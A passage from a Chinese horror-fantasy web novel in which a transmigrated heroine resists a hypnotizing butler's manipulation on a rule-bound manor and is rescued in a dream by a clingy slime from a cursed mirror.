二人都不说话,彼此打量着对方。
阿斯莫德的眼神像一把尖锐的矛,想要将纪觅依看穿,而纪觅依的眼神全是防备。
这无声的较量,终结在阿斯莫德的轻笑声。
他不再等待她的回答,扯住左手的皮手套一脱。
在看到的那一刻,纪觅依倒吸了一口凉气——
那只骨节分明的手上密布着疤痕,只能依稀从里面分辨出被火焰舔舐留下的瘢痕和利刃划过的刀疤。
它本该如艺术品一般的,却成了这副模样......
阿斯莫德看着纪觅依被吓了一跳,苦笑着准备将手套戴回去:
“这副样子很难看吧,我本来不想让您看到的,可这是您的要求,作为管家,我定会全力满足。”
纪觅依拉住他还没带回去的手套,阻止了他的行为。
“不难看。”
在阿斯莫德错愕的眼神中,她又重复了一遍:
“我说,不难看。”
“我不在意你的手是什么样子,我在意的是,它怎么变成这样的。”
阿斯莫德没有在纪觅依的眼底看到嫌弃、恐惧,相反,那是一种心疼。
他的左手逐渐收力,任由纪觅依将手套拿去。
“这只是我应有的惩罚而已,伊拉小姐。”阿斯莫德低头盯着那只伤痕累累的手,“想成为一名优秀的管家,总要付出些什么,而这,只是我的主人给我的教导。”
纪觅依还在思索这句话背后的故事,阿斯莫德却趁此时,以无法抗拒的力度握住了她持刀的那只手,朝自己的左手伸去。
“我知道那些传闻。”
刀尖已经抵住了他的手心,刺破了皮肉,挤出一滴血珠。
“我也知道您在担心什么。”
他猛地加重力度,带着纪觅依的手狠狠向前刺去。
纪觅依甚至能清晰地感受到,刀锋是如何深陷,撕裂开皮肉。
这股劲,比她划自己的那一下不知凶残多少倍。
疯子!
纪觅依疯狂向后挣脱,却毫无作用,刀尖在她的挣扎下刺得更深了。
她不敢动了,生怕对方因为自己的逃脱做出更出格的行为。
“我很自责,您为什么不愿意相信我。”
阿斯莫德像是没有痛觉的怪物,完全不在意自己鲜血淋漓的伤口,只期待着纪觅依的回应。
“您相信那些传闻,却不相信我。”他的声音充斥着悲伤和微乎其微的指责,“您明明可以问我的。”
纪觅依看到他的伤口,头皮发麻,她从来没想过要伤害任何人,更别说此时此刻的情况。
不知是不是伤口的惨状在她的双眼留下了残影,纪觅依将目光转向阿斯莫德那双欲哭无泪的双眸时,又看到了那熟悉的一抹红。
“您想知道什么?您好奇什么?我都会回答您。”
阿斯莫德的话语像是引诱着夏娃吃下秘果的毒蛇,纪觅依感觉自己的思考能力正被一节节地麻痹、吞噬。
他的双眼是泥沼,带着她的意识陷入深渊。
“我好奇,你是不是吸血鬼?”
纪觅依的表情逐渐麻木,将自己困惑的问题脱口而出。
“不是。”
熟悉的心脏刺痛感传来,纪觅依心中大呼——不对劲!
可她挣脱不了,依旧陷在那方墨绿沼泽。
“您还有更好奇的,不是吗?比如......维森先生。”
纪觅依想控制自己,不要再浪费机会了,可只是徒劳。
她嘴唇翕动,不受控地问出:“那维森先生是吸血鬼吗?”
“不是。”
心脏又一痛,纪觅依用力咬住舌尖,在双重刺激下,她清醒了。
阿斯莫德的眼中依旧是一片绿,仿佛刚才那一切都只是她的错觉。
可心脏传来的真实的疼痛没有撒谎。
这个忠心耿耿的管家,这个笑里藏刀的主持人!
他是怎么洗脑自己的,一下消耗掉两个机会,明明这些都是她可以试探出来的,明明.....
她的手一松,刀落在地上,清脆的响声震耳欲聋。
纪觅依头一撇,不再与阿斯莫德对视,避免再次陷入他的蛊惑。
“咚——”
夜晚的钟声响起,宣判着这场交锋的结束。
阿斯莫德取出一张手帕,擦掉地板上的血滴,捡起地上那把刀,来回擦拭。
他站起身,左手攥住手帕,任由血液染满整张帕子。
“伊拉小姐,时间不早了,我就不打扰您了。”阿斯莫德将小刀放回桌面,“我只希望,您能相信我。”
他悄无声息地离去,房门关上的那一刻,纪觅依将手中那只手套重重的摔在地上。
她冲到了洗浴间,撕扯着自己的衣领,在镜子中,她看到了胸口上那个自己无法接受的现实——
只剩下七次机会了。
纪觅依的手指不断抓挠着头皮,牙齿将下唇死死咬住。
怎么办,怎么办?
这才第一天,已经没有了三次机会。
她的眼泪在眼眶里打转,所有的委屈蜂拥而上。
纪觅依猛眨眼睛,试图憋住泪水,看向镜中眼睛通红的自己,重复道:
“纪觅依,深呼吸,冷静,别哭。”
可伊拉的那张脸,那张和她截然不同的脸,无时无刻不在刺激着她。
纪觅依一拳砸向镜子,骨节生疼,镜子毫发无损,依旧反射出伊拉的模样。
她打开水龙头,不断用左手捧起水泼甩在镜子上,试图以这种方式来模糊镜面,来逃避。
第二声钟声响起,纪觅依气喘吁吁地停下了,她盯着水流,反复深呼吸。
“要冷静,要冷静。”纪觅依自言自语道,“去收拾,对,去收拾,马上第三声钟响了。”
她走向今早放衣服的椅子,脏衣服已经被收走了,只剩下了遮住穿衣镜的布幔。
她学着管家的样子,将布幔挂在穿衣镜上,从衣柜里找出新睡袍换上。
纪觅依再次回到洗浴间,就着未关的水流洗脸。
因为右手的伤,她只能用左手捧着水,弯着腰拼尽全力泼在脸上。
想到自己现在这个狼狈的样子,积攒已久的泪水决了堤,纪觅依已经分不清流过脸颊的是水珠还是泪珠。
她实在控制不住自己的悲伤,蹲坐在地上,空寂的房间只剩下她埋在双手遮挡间的呜咽:
“我想回家——”
眼泪渗透了右手的绷带,伤口一阵阵的胀痛。
纪觅依心里不断循环着“我想回家”,几乎都要成为了一种执念。
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她想回到那个普通的世界,自己的世界,此刻连曾经痛恨的事物都成了最大的念想。
泪水流干了,流尽了,流到伤口已经无感。
纪觅依抹了抹脸上的泪痕,站起身来,面对着刚才让她痛苦不堪的镜子。
她不再对着它肆意发泄自己的怒火,而是抬起右手,盖在镜中伊拉的脸上。
“我要回家!”
这面镜子和那个讨人厌的管家一样,都期待着她恐惧、退缩、崩溃,可她偏不!
“我要回家。”
第三声钟声响起,这是纪觅依对自己的承诺。
她关掉了水龙头,内心愈发坚定。
在她转身踏出洗浴间的那一刻,身后传来“咕噜咕噜——”的声音。
纪觅依跑到书桌,一把抓过小刀,双手紧紧握住,刀尖直指洗浴间。
可刚才的动静却销声匿迹,仿佛只是她过于紧张产生的幻听。
房间里一片死寂,只能听到纪觅依刻意放轻的呼吸声。她维持着这个动作,直到手臂发麻直颤。
“第二,夜晚有时洗浴间会传来奇怪的声音,请不必理会。”
阿斯莫德的声音犹如鬼魅般在纪觅依脑海中回响。
她一步一步退到床上,迅速将自己塞进被窝,左手依旧紧握着小刀,藏在枕头下。
纪觅依紧绷的神经在靠上枕头后,逐渐放松,她在不知不觉中陷入梦境。
-----------------
“咕噜咕噜——”
纪觅依醒来,周围却是一片白。
“这是哪?”她坐在地上,环顾着四周,可无人回应,只有她自己的声音在不断回荡。
纪觅依从地上爬起,向前走去,试图寻找出口。
可这个空间像是没有尽头,她走了很久,感觉依旧徘徊在原地。
这是个球体?
纪觅依摸了摸地面,抬头扫视上方,整个空间没有棱边,可墙面的弧度又不是标准的弧形。
相较于球体,这里更像是一个蛋形。
她又敲了敲地面,被她敲打的那片地面瞬间融化,不断翻涌。
纪觅依一屁股坐在地上,手脚并用向后逃去。
那片融化的地面不断沸腾,发出“咕噜咕噜”的声音,并向上涌去,化作了一个巨大的透明史莱姆。
它眨巴了两下空洞的双眼,看着吓软在地上的纪觅依,突然兴奋起来,挪动着自己的身体朝她蛄蛹。
“咕噜,咕噜,我终于见到你了!咕噜,你都不知道,不知道我有多想你,咕噜......”
史莱姆的声音奶声奶气,语气委屈极了。
“你不要过来!”
纪觅依吓得腿没劲,在这个空间,就算她想逃也没有办法。
面对她的拒绝,史莱姆更加委屈,咕噜声都带着哭腔,更加快速朝她挪去,一把抱住她。
纪觅依被这个拥抱弄得窒息,捶打着史莱姆的身体,却像一拳打在棉花上。
“唔,放开,我,唔。”
“放开我!”
是梦。
纪觅依猛地从床上弹起,胸腔剧烈起伏,左手因长时间被压在枕头下而发麻。
她的右手揉搓着左手,思考能力也随着知觉一同恢复。
那个梦是她从未经历过的,不像是她自己遐想的产物,还有那熟悉的“咕噜咕噜”——
那个怪物,难道就是第二条规则?
8. 抖m属性大爆发
可是按理来说,是没有触发的啊?
纪觅依回忆自己昨晚的一举一动,确实严格按照规则要求,没有去理会洗浴间的怪声。
与其说是自己触发,不如说是那个怪物主动找上门来。
一想到它那股久别重逢的黏糊劲,纪觅依鸡皮疙瘩都起来了。
她在大脑中翻遍了自己的人生履历,也没有找到和这个怪物相关的记忆。
奇怪?
可目前来看,它倒是无害的,产生不了什么威胁。
纪觅依准备晚点再纠结它,现在最重要的是怎么应对管家。
她原以为十次机会至少可以慢慢消耗,结果还是掉以轻心了。
如果是靠自己不断获取信息,进行推理,这十次机会只在关键节点使用,应该绰绰有余,说不定还可以赢得更多机会。
就现在而言最重要的,是如何应对管家的催眠。
只要能守住这剩余的七次机会不被滥用,其他的谜题还有时间慢慢探索。
纪觅依起床收拾,满脑子都是在思考对策。她三两下收拾完了,打开房门,门外却没有阿斯莫德的身影。
难道管家没睡醒?
她走到楼下,发现阿斯莫德正在摆放餐具,而他看到纪觅依下来时也很惊讶。
“您今天起得真早,我本想晚一点喊您。”
阿斯莫德擦拭着汤盘的边缘,端到纪觅依面前。她坐下嗅了嗅,盘中浓汤还冒着热气,飘浮着贝壳状的意面,浓浓的奶香味随着热气扑鼻而来。
纪觅依顺手接过阿斯莫德递来的勺子,尝了一小口。
不得不说,美食这东西对人的治愈能力是强大的,纪觅依感觉自己糟糕的心情都有了点慰藉。
她一边小口吃着,一边偷偷瞄了几眼阿斯莫德,对方沉迷在自己的工作中,背对着纪觅依,不知道在餐车上捣鼓什么。
这个样子,和昨晚那个疯子可一点不搭边。
纪觅依现在回想管家的疯狂行为,依旧心里发怵。
恐怖的旧社会主仆观念......
至于阿斯莫德说过的那些话,她都不敢细想,维森该是个多么恶毒的人。
纪觅依对阿斯莫德的情绪在此刻无比复杂,这个管家让她又爱又恨。
而这份微乎其微的怜爱,在看到对方端上来的东西后荡然无存。
那是——一盘蒜?
这盘蒜比纪觅依昨天剥的精细多了,每颗蒜瓣上还插着一个小木叉。
阿斯莫德露出一个人畜无害的笑容:“伊拉小姐,请原谅我的疏忽和昨晚的无礼,从今天起,我会尽全力了解您的喜好。”
“呃......”
他目不转睛地观察着纪觅依的反应,在她迟疑后,还贴心解释道:
“在昨天得知您家族的传统后,我早上专门挑选了一下,保证您吃到的是最新鲜的。”他说到这,嘴巴微张,作思考状,“就像您说的,吃面不吃蒜,味道少一半。”
呵呵。
我是不是还得夸你贴心?夸你勤快?!
面对他清澈的眼神,纪觅依都不好意思怨他,只能怪自己给他挖坑的时候没注意脚下。
她进退两难:吃吧,自己一个南方人哪有这样吃过;不吃吧,不就露馅了嘛!
她几乎是咬牙切齿,但依然保持微笑,装作喜悦的样子:“真是谢谢,你真贴心,阿斯莫德。”
为了维护自己的谎言,纪觅依决定牺牲一下,拿起一颗蒜就往嘴里塞。
她本想囫囵吞下,但蒜瓣太大了,只好舀了一勺汤,包在嘴里,和蒜一起嚼了两下,试着冲淡辣味。
咬下去那一刻,蒜味在嘴里爆开,纪觅依强忍着吞下去,脸都憋红了也不敢咳出来,几滴泪被逼出来,挂在眼角。
“好吃吗,伊拉小姐?”
纪觅依强颜欢笑,假装镇定的喝了口茶:“不错。”
阿斯莫德听完后心满意足地站在一旁,目光却放在纪觅依身上,让她难以忽视,浑身不自在。
这是什么意思?要看着自己再吃几颗?
这可不行!
纪觅依招了招手,喊阿斯莫德来到身边,指着那小盘蒜,惋惜道:“我也很想多吃点,可惜胃口不太好,非常感谢你的好意,我亲爱的管家。”
“好的。”阿斯莫德将蒜拿走,纪觅依如释重负地偷偷叹了一口气。
早餐也算稀里糊涂地混过去了,在阿斯莫德走后,纪觅依上楼刷了好几遍牙,确定嘴巴里没有蒜味,才继续探索主楼内部。
这么大的空间,她硬是没有发现什么新线索,阿斯莫德和维森的房间又进不去,强行进入反而打草惊蛇。
纪觅依就这样在主楼里转悠,什么也没发现就到了午饭时间。她来到餐桌发现熟悉的面和蒜,堪比五雷轰顶。
“您逛累了吧,快来用餐吧。”阿斯莫德热情的拉开椅子,“我特意为您重新准备了您喜欢吃的大蒜,您现在应该有胃口了吧。”
纪觅依现在觉得阿斯莫德是故意的,可对方的表情又没有一点破绽。
忍......
纪觅依学着早上的方式,在他炙热的注视下吃下一颗蒜瓣,中午的蒜不知道为何,味道更足更冲。
她一下没憋住,咳了几声。
就这几秒的小意外被阿斯莫德捕捉到了,他递上茶水,关心道:“您没事吧?”
“没事,咳。”纪觅依清了清嗓子,缓过来劲,“这让我想起了家的味道,所以吃的太着急了,不小心呛住了。”
“您不用急,还多着呢,不够只需要吩咐我就好。”
“谢谢。”
纪觅依打心底想“谢谢”他,只期望不要再这样吃一顿了。
结果,事与愿违——
忙忙碌碌一天,毫无收获这件事已经让她心里窝火,到了晚餐时间,看着这完美复刻的面和蒜,她掀桌的想法都有了。
如果正午的猜想是不准确的,那现在纪觅依很坚定,阿斯莫德就是故意的!
这是报复!妥妥的报复!
这样吃下去可不行,别说一天三顿面,这前前后后刷的十几次牙,她的嘴早就苦不堪言了。
纪觅依黑着脸吃完了全程,没有回答阿斯莫德一句话,只在起身回房前留下一句:
“阿斯莫德,等会我会喊你,请等铃声吧。”
-----------------
回到房间后,纪觅依也冷静下来了,去洗浴间刷牙,满嘴薄荷味的坐到书桌后的椅子上。
管家这一出确实让她挺不爽的,可这点报复放哪都算小儿科,与其说是恶意,不如说是一场不怎么用心的捉弄。
而管家最危险的是——催眠,作为主持人,本不应该做出
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任何诱导玩家的行为,可阿斯莫德不单单是这重身份。
今晚,纪觅依就要测试自己的对策是否有效,大不了,就是消耗一次机会!
她宁愿在知情的时候浪费提问次数,也不愿被牵着鼻子。
纪觅依捡起昨晚阿斯莫德落在房间的医药箱,有了主意。
“叮铃铃——”
这次倒是晚了几秒,阿斯莫德优雅地走到书桌前,俯身行礼,等待纪觅依的吩咐。
“阿斯莫德,你知道,我为什么喊你过来吗?”
“不知道。”
阿斯莫德将头一低,准备被她责骂一顿,吃晚餐时他已经注意到对方的不满了。
纪觅依嘴上装腔作势,颇有一副贵族做派,内心窃窃自喜。
难怪上司和老板都这样说话,确实唬人啊!
她将昨天被留下的手套放在桌上,指尖按住,推到阿斯莫德身前。
“你的手套。”
阿斯莫德接过,温声道谢,带着新手套的左手紧紧捏住被纪觅依昨晚拽去的旧手套。
“阿斯莫德,我想看看你的左手。”
他听到这句话骤然抬头,左手本能的往身后一藏:“谢谢您的关心,我怕再次吓到您。”
“阿斯莫德,我昨晚不是说过了吗?来我身边吧。”
纪觅依向后一仰,上半身贴在椅背,随着阿斯莫德的动作侧身调整坐姿。
她自然地拉过他的左手,一把扯下手套:“我说过,我觉得不难看。”
“嘶——”纪觅依盯着阿斯莫德的手心,倒吸了一口凉气,责备地瞪了阿斯莫德一眼,“你怎么不处理伤口?”
她察觉到掌心中那只手有退缩的意图,非但没有松开,反而加重了力道。
阿斯莫德对上她沉静的目光,停止了动作,任由那份温热继续包裹着自己。眼神飘向了红肿不堪的伤口,近乎痴迷的说道:
“这是您给我的第一次教导,我舍不得。”
当意识到听到什么时,纪觅依想立马把他的手甩开。
这人抖m来的?
她选择不去看他的表情,免得演不下去。
纪觅依的眼神里全是怜惜,沉声道:“我不管维森先生是怎么对你的,阿斯莫德,我们的相处方式不一样,我不希望你这样。”
她单手翻找着医药箱,给阿斯莫德包扎消毒,对方像是毫无知觉,任由纪觅依怎么戳弄,一声不吭。
折腾了一会功夫,阿斯莫德的左手被粗糙地裹起来,硕大的蝴蝶结在手背耷拉着脑袋,滑稽极了。
但他很满意,越看越欢喜,纪觅依从没有看到他笑过这么甜,也是这时候她才注意到,他的右脸颊有一个很浅的酒窝。
“伊拉小姐,谢谢您。”阿斯莫德的眼神热烈,“作为回报,您有什么想问的吗?”
要来了吗?
纪觅依注视着阿斯莫德的双眼,意识被拉入熟悉的泥潭。
我要回家,我要回家,我要回家......
她心中不断默念,愈发急切,脑海中闪过无数现实世界的剪影:父母的唠叨与叮咛、私人工作群的吐槽、和朋友一起吃喝玩乐......
我要回家,我要回家,我要回家!
“我想......”纪觅依刚张开的嘴巴立即抿住,“我没什么想问的。”
成功了?!
9. 身不由己的战友
纪觅依清楚地看到阿斯莫德眼里的诧异,此刻,她确信自己成功了。
冥思苦想一天的对策有了成效,她是发自内心的欢喜。
这样看来,自己的推测能力没有出错,在这个世界,阿斯莫德的催眠并不是不可解的。
感谢自己曾经好奇去看了好几个冷门知识的科普,其中有一个帖子就是关于催眠的。
她选择了目前自己最强大的执念,在意识中埋下,作为心锚。
通过一天的时间,纪觅依在探索时不忘测试和巩固,确保自己不管在思考什么,只要内心循环这四个字,就能立马脱离。
成功的喜悦让她多多少少有点小得意,眼睛里闪着光,微微歪头,等着阿斯莫德出招。
“虽然我没有什么想问的,但——”纪觅依故作深沉地停顿了一下,“我很好奇,你好像特别期待我提问呢!”
纪觅依迫不及待想从阿斯莫德脸上看到挫败的表情,可他只是云淡风轻的理了理手上的绷带。
他开口道:“我只是履行我作为管家的义务罢了,您多虑了。”
呵呵,鬼才信!
纪觅依很失望,没关系,在回家前,她一定要想办法让这个恶趣味的管家吃瘪。
阿斯莫德俯身从她手中抽回手套,却刻意贴近纪觅依,她甚至感觉对方的呼吸喷洒在自己耳边。
纪觅依向后靠的力度加大,整个人陷在椅背里,试图拉开距离。
可阿斯莫德向前倾身,此时毫不在意这近到暧昧的距离。
“伊拉小姐。”他近乎呢喃,以二人才能听到的声音说道,“我们都在这个庄园,在维森先生的掌控下,我们都......”
在纪觅依受不了这股惹得耳根子发软的低语,准备推开他时,阿斯莫德站直了身子,只留下那未说完的四个字的口型:
“......身不由己。”
“如果没其他事情的话,请允许我先离开。”
阿斯莫德看着陷入沉思的纪觅依,以为她默许了,左手捏着自己的两只手套转身离开。
他的背影即将消失在门口时,纪觅依喊住了他:“等一下!”
“您还有什么吩咐吗?”
“我的吩咐就是,我不想再吃到意大利面和大蒜了。”
纪觅依皮笑肉不笑的提出,手上不断敲击桌面的动作却不难看出她暗压的怒火。
“是不好吃吗?”
还问?
看着阿斯莫德“嬉皮笑脸”的样子,纪觅依一字一顿回答道:
“我,吃,腻,了。”
他刚想张口说些什么,被已经失去耐心的纪觅依打断。
“好了,把门带上,我要休息了。”
“都听您的。”阿斯莫德将门关上,一切都安静了下来。
在他走之后,纪觅依从书桌的抽屉里掏出纸张,拧开墨水瓶,握着羽毛笔沾了几下在纸上疯狂书写。
阿斯莫德每次冷不丁丢下一句话,就够她琢磨半天。
她的思维乱成一团麻,只能通过这种传统但有效的方式来梳理思路。
纪觅依在“维森”和“阿斯莫德”这两个人的名字周围反复画圈。
现在她对主仆二人的具体关系稍微有点头目了,并在他们名字中间画上了两个火柴人打架。
这么说,阿斯莫德的一举一动都并非他心甘情愿的?包括催眠自己?
现在纪觅依还没见到过维森,不敢轻易判定。
她在阿斯莫德身边写下了“战友”,紧跟着的是一个大大的问号。
如果他没有说谎,那自己真的可以将希望寄托到这个NPC上吗?
她将写满问号的纸张揉成一团,又展开撕碎,丢在垃圾桶,将这些密密麻麻的猜测毁尸灭迹。
纪觅依熟练的打开抽屉机关,再次翻开里面的硬皮笔记本,里面依旧是一片空白。
难道还没有发现关键?
到底什么是能看到这个线索的关键?
纪觅依将本子一扣,放了回去。她站起身来,在房间内踱步,手无意识地在下巴上摩挲。
会是什么呢?
纪觅依的脑海中闪现出昨晚梦中那团史莱姆,这来历不明的家伙突然出现在她的梦境,会不会,就是提示呢!
纪觅依冲进洗浴间,回想昨晚的行为轨迹,她清楚地记得是在关掉水龙头后,听到了“咕噜咕噜”的怪声。
她拧开水龙头,任由水哗啦啦流去,第二声钟响已经过去了几分钟,纪觅依要抓紧时间在这期间收拾好。
她换上睡袍,洗漱完后关掉水龙头,等待着第三声钟响。
“咚——”
钟声如约而至,纪觅依此刻不再是畏惧,而是期待。
可一切都在钟声的尾音消逝后,陷入沉重的寂静。
“咕噜?”纪觅依等待了一段时间后,准备主动呼唤,“咕噜,咕噜?”
洗浴间没有任何回应她的动静,纪觅依探着头往漏水口的深处望去,里面只有一片漆黑。
她不敢在洗浴间久待,只好放弃了这次触碰规则的冒险。
“奇怪?”
明明昨晚那么热情,今天她主动来找它,却一点动静没有。
纪觅依的目光不由被穿衣镜吸引,总感觉自己隐隐约约忘记了什么。
忘了什么呢......
看着镜子里嘴角扭曲的自己,纪觅依被吓得冷汗直冒,本能地闭上双眼。她朝着记忆里椅子的方向大步迈去,一把扯过布幔套在镜子上。
直到此时,她才敢睁开双眼,那应该不是错觉,这面镜子有问题!
她本来只想试探一下自认安全的第二条规则,却没想到一时疏忽,忘记了遮挡第三条规则。
她抚摸着狂跳的心脏回到床上,冰冷的恐惧感顺着她的脊椎爬升,刺得她发抖。
纪觅依将被子紧捂着脸,顺势躺下。她不敢再回忆刚才看到的诡异的脸,脑海中不断翻阅着现实世界的点点滴滴,洗刷着恐惧。
好困......
纪觅依躲在漆黑的被窝里,眼皮困到抬不起来,像是有什么东西催着她入梦般。
-----------------
她睁开眼,却是漆黑的一片,只有一面镜子默默等待她的到来。
这里是......怎么还是那面镜子?
纪觅依对危险的直觉疯狂叫嚣着,可身体却不受控制,离镜子越来越近。
不要,不要靠近!
镜子里的她,像是骤然被点燃的蜡烛,燃烧的过程被无限加速,皮肉不断鼓起、破裂,顺着骨骼流淌。五官被消融,向下塌去,只有嘴角向上勾去,弧度越来越夸张。
不要......
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这熟悉的不受控让纪觅依几近崩溃,她的指尖触碰到了镜框,猛烈的灼烧感席卷而来,镜中的身体加速融化,即将化作带着残蜡的骷髅。
她反抗,却毫无作用,难道就要死在这里了吗?
纪觅依的眼泪从眼角划过脸颊,在下巴汇聚,如同断了线的珠子。
她不想死在这个鬼地方,阿斯莫德说会保护她的安全,可现在她连他的名字都喊不出。
泪水噙满了眼眶,她的视线被模糊。
就这样结束了吗?
纪觅依内心打算放弃时,一阵尖锐的声音传来:
“咕噜!”
是昨晚的怪物!
纪觅依陷入那令人窒息的拥抱,此时带给她的却是满满的安全感。
史莱姆将纪觅依塞进自己怀里,一脚踢翻镜子,嘴里还不停地骂着:“臭镜子,不许欺负她!”
纪觅依的身体回到了自己的掌控下,可她手脚发软,虚浮的肿胀感充斥着四肢。
她没有力气站起来,只能倚在史莱姆软乎乎的身体上,眼睛紧闭,泪水从眼缝里不断渗出。
史莱姆停下了动作,看着怀里哭成泪人,却只敢抿着嘴巴,不发出一点声音的纪觅依,手忙脚乱地给她擦着眼泪。
“你别哭,别哭。”史莱姆比刚才看到镜子慌多了,“我,我踩它,这个坏镜子,臭镜子!”
它铆足了力气,恶狠狠地踩着地上的穿衣镜。
“噗叽——噗叽——”
碍于史莱姆的身体特质,它再怎么努力也像给镜子挠痒痒般,毫无伤害力。
不过这把纪觅依逗笑了,史莱姆听到她“噗嗤”一声,脚下的动作立马顿住,摸摸她的脑袋。
她能感受到自己的发丝不断被冰冷却柔软的史莱姆拂过,它的脸贴上自己的脸颊,蹭着自己腮边的泪痕。
“贴贴你,咕噜咕噜。”史莱姆本来就奶声奶气,此时为了哄着纪觅依,声音夹起,“不哭了,没事了没事了,睁开眼吧,现在在我的空间了。”
纪觅依睁开眼,是昨晚那片白色的空间,经历了刚才那面镜子,她只觉得这个空间无比温馨。
她早就不哭了,但史莱姆依旧蹭着她的脸。
纪觅依的脸颊肉被胡乱而用力地蹭着,与其说是它为了安抚她采取的行动,不如说是它趁此机会,和纪觅依亲昵几下。
“好了,好了。”
纪觅依温柔地推搡着史莱姆,对于救命恩人,她做不到很粗暴地一把推开。
史莱姆被推开后,眨巴着空洞的眼睛,严肃地说道:“我觉得你还是想哭,再贴贴!”
“我不想哭了。”纪觅依伸手阻拦了它想要扑过来的动作,眼睛瞪得大而圆,无比诚恳的回答,“真的。”
“好吧......”
史莱姆的语气里掩盖不住的失望,但下一秒又自我调节好了,暗戳戳的贴近纪觅依。
“谢谢你,虽然还不知道你叫什么名字......”
史莱姆没等她说完,急切问道:“咕噜!那你还记得我吗?”
“我们?认识?”
她今早就确信,自己没有见过它。可史莱姆听到这句话,嘴角一耷拉,不知为何,纪觅依从它空洞的眼睛里居然看到了浓烈的委屈。
“你居然不记得了吗?明明,咕噜,明明你当时,很喜欢我的!”
10. 咕噜,咕噜?咕噜!
“啊?”
难道是它和伊拉认识?
纪觅依犯了愁,自己根本没有原主的记忆,这下该怎么办?
史莱姆拖着自己的身子,埋着头反复呢喃道:“真的不记得我了,咕噜......”
它委屈得不得了,蹲着身子把自己紧紧揉成一团,透明的身体不断抖动,时不时漏出几声抽噎。
这下糟了,整哭了可咋哄啊?
纪觅依从那团史莱姆里艰难地判断出头部,学着它刚才的样子抚摸着,可对自己奏效的这一招放在史莱姆身上就不管用了。
她试着戳了戳它的身体,适得其反,它哭的更凶了,嘴里控诉着纪觅依的恶行。
“你不记得我,还戳我!呜呜呜......”
“你别哭了,我不是故意不记住你的。”纪觅依双手交替着抚摸,希望能快点安抚住这个小家伙,“我,我,我失忆了!”
哭声一下止住了,史莱姆噌的一下站了起来。
谎言已经抛出去了,还奏效了,纪觅依只好接下去,她手捂住太阳穴,假装头疼。
“哎呀,不行,头好疼,想不起来。我一定努力,努力把你想起来!”
史莱姆完全忘记了自己还在伤心中,胖乎乎的小手轻柔地贴在她的额头,急得蛄蛹:
“咕噜!不想了,不想了,我给你吹吹。”
纪觅依虚眯着眼睛,偷偷观察着史莱姆,它嘟着嘴巴,认真地吹着纪觅依的脑袋。
她有点装不下去了,看着史莱姆认真的样子,实在是违背良心:“我不痛了。”
“不痛就好,咕噜,咕噜。来贴贴,贴贴就不痛。”
史莱姆又贴上了她的脸,这次她不敢阻拦了,只庆幸着止住了这个小哭包。
纪觅依有点疲惫了,往地上一坐,史莱姆立即跟随,继续粘着她。
一人一怪就这样互相靠着,画面有种别样的温馨感。
纪觅依主动开口:“那你叫什么名字,我们现在重新认识吧!”
“我叫咕噜!”
史莱姆用脑袋蹭了蹭纪觅依的头发,把她头顶揉得毛毛躁躁。
“你好,咕噜。我是伊拉。”
它眨巴着眼睛,看着纪觅依利落转身,跪坐在自己面前,伸出温热的右手。
咕噜将透明的手叠了上来,纪觅依感受到一股冰凉柔韧的触感,她掌心的纹路在它那果冻般的躯体里被放大。
它的脸皱巴起来,呆滞地望向那延展开的掌纹:“伊拉?”
“不,不对!”咕噜撒开了她的手,抱着脑袋,身体不断抽搐着,“不是,不是伊拉!”
纪觅依愣住了,手悬停在半空,不知如何是好。
这招她刚才用过,她心知肚明自己的反应是拙劣的欺骗,咕噜不是。
她能看到它的身体逐渐缩小,在地面上蜷缩起来。
纪觅依试着安抚它,在她手指触碰到咕噜的那一瞬间,它的身体沸腾起来,橘红与金黄的火光在体内搅动,吞噬着它的理智。
她痛呼一声,猛地抽回手,灼烧的痛感还在指尖发胀,皮肤却完好无损。
“咕噜,好烫,好痛......”
纪觅依急得站起身,让她不作为是不可能的,相较于那种灼痛,她更不能忍受看着咕噜独自痛苦。
“冷静下来!”
她既是在对咕噜说,也是在告诉自己。纪觅依蹲下,一把揽过已经缩小到她半个身子大小的咕噜,紧紧贴着。
“咕噜,你说的,贴贴就不痛了。”
纪觅依说完,紧咬着牙关,任由滚烫的热量噬咬着感知,也绝不松手。
渐渐地,她能感受到咕噜的温度降下来了,痛呼也变成了呻吟,她揉着它的脑袋,一遍遍重复着“没事了”。
话音刚落,整个纯白的空间开始剧烈地震动,四周的墙壁浮现出龟裂的纹路,如同即将破碎的蛋壳。
“快走!”
咕噜发出一声短促的惊叫,惊恐地看着四周的裂痕,拍打着纪觅依:
“我的空间要碎了,你得离开这!把我放下,我送你走!”
纪觅依弯下腰,还没撒手,咕噜就从她的怀里跳下。
“闭眼!”
她听到后立马照做,下一秒,一阵巨大的推力袭来。
纪觅依眼前一黑,最后的意识里,只剩下咕噜那双惊惧与急切的空洞眼眸。
-----------------
“叩叩——”
“伊拉小姐?”
纪觅依打开房门,门外站着阿斯莫德,他如往常一般沉稳。
纪觅依不得不承认,他的出现让自己惊惧的心安分下来。
“您没睡好吗?”
在阿斯莫德眼里,她憔悴极了,呼吸急促而沉重,脸色些许苍白,人站在那里,可魂不在。
“您是昨晚碰到了什么吗?”
他向前走近一步,眼神向纪觅依身后的房内扫视。
“我只是失眠了,阿斯莫德。”纪觅依悄无声息地遮挡住他探究的视线,“让我多休息一会吧。等我醒来再呼唤你,好吗?”
这不是支开阿斯莫德的借口,纪觅依是真的疲惫不堪了,在这短短几天,她一刻也不敢松懈,长期紧绷的状态已经耗空了她所有的精力。
不管如何,现在她最需要的,是休息。
纪觅依几乎是靠本能把门一甩,一头扎进被窝,闭着眼把被子往身上拢。
至于什么管家,什么庄园,她此刻无暇顾及,沉浸在这片刻的喘息机会。
再次睁开眼,窗外天色已沉。
我这是睡了多久?
纪觅依扶着脑袋坐起来,疲惫如潮水般退去,留下因久睡后产生的钝痛。
“不好意思,伊拉小姐,恕我无礼。”
她看到坐在不远处、被暖光勾勒的阿斯莫德。
他温柔地拨弄着手下古铜色的小香炉,一缕细小的烟眷恋地缠绕在他的镜框。
“出于对您的担心,我擅自进了您的房间。”
面对突然出现在身边的阿斯莫德,纪觅依毫无波澜,甚至冒出“果然如此”的想法。
是因为他点起的香吗?
纪觅依不想承认,自己似乎不那么防备眼前的管家了。
她的声音带着刚醒的沙哑:“谢谢。”
“您好一点了吗?”
纪觅依点了点头,又缩回被窝,理智告诉她,不要在不清醒的时候说太多。
她现在需要厘清,那到底是发自内心的
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信任,还是他更加悄无声息的催眠。
她侧身躺着,望着窗外发呆,她听到了阿斯莫德的脚步声越来越远。
他走了吗?
纪觅依慢慢弓起背,双臂交叠在胸前,手箍住大臂,指尖用力到发白。
她拥抱住自己,像婴儿般蜷缩。她感受着手下源源不断的温度,抵御着让她心底发凉的猜想:
